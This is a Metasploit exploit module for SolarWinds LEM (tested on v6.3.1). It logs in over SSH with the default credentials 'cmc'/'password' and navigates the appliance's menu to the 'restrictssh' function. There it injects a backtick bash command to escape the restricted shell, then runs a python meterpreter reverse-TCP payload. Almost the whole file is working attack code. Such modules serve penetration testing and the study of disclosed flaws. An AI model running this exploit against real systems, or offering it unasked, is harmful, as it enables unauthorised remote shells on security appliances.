##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "SolarWind LEM Default SSH Password Remote Code Execution",
      'Description'    => %q{
        This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH
        service is accessed with the default username and password which is "cmc" and "password". By exploiting a
        vulnerability that exist on the menuing script, an attacker can escape from restricted shell.

        This module was tested against SolarWinds LEM v6.3.1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>',  # discovery & msf module
        ],
      'References'     =>
        [
          ['URL',   'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
        ],
      'DefaultOptions' =>
        {
          'Payload' => 'python/meterpreter/reverse_tcp',
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [ ['Automatic', {}] ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 17 2017",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(32022),
        OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
        OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
      ]
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def exploit
    factory = ssh_socket_factory
    opts = {
      :auth_methods => ['keyboard-interactive'],
      :port         => rport,
      :use_agent => false,
      :config => false,
      :password => password,
      :proxy => factory,
      :non_interactive => true
    }

    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    print_status("#{rhost}:#{rport} - Attempting to login...")

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      payload_executed = false
      print_good("SSH connection is established.")

      ssh.open_channel do |channel|
        print_status("Requesting pty... We need it in order to interact with menuing system.")

        channel.request_pty do |ch, success|
          raise ::RuntimeError, "Could not request pty!" unless success
          print_good("Pty successfully obtained.")

          print_status("Requesting a shell.")
          ch.send_channel_request("shell") do |ch, success|
            raise ::RuntimeError, "Could not open shell!" unless success
            print_good("Remote shell successfully obtained.")
          end
        end

        channel.on_data do |ch, data|
          if data.include? "cmc "
            print_good("Step 1 is done. Managed to access terminal menu.")
            channel.send_data("service\n")
          end

          if data.include? "service "
            print_good("Step 2 is done. Managed to select 'service' sub menu.")
            channel.send_data("restrictssh\n")
          end

          if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"
            print_good("Step 3 is done. Managed to start 'restrictssh' function.")
            channel.send_data("*#`bash>&2`\n")
          end

          if data.include? "Are the hosts"
            print_good("Step 4 is done. We are going to try escape from jail shell.")
            channel.send_data("Y\n")
          end

          if data.include? "/usr/local/contego"
            if payload_executed == false
              print_good("Sweet..! Escaped from jail.")
              print_status("Delivering payload...")
              channel.send_data("python -c \"#{payload.encoded}\"\n")
              payload_executed = true
            end
          end

        end
      end
      begin
        ssh.loop unless session_created?
      rescue Errno::EBADF => e
        elog(e.message)
      end
    end
  end
end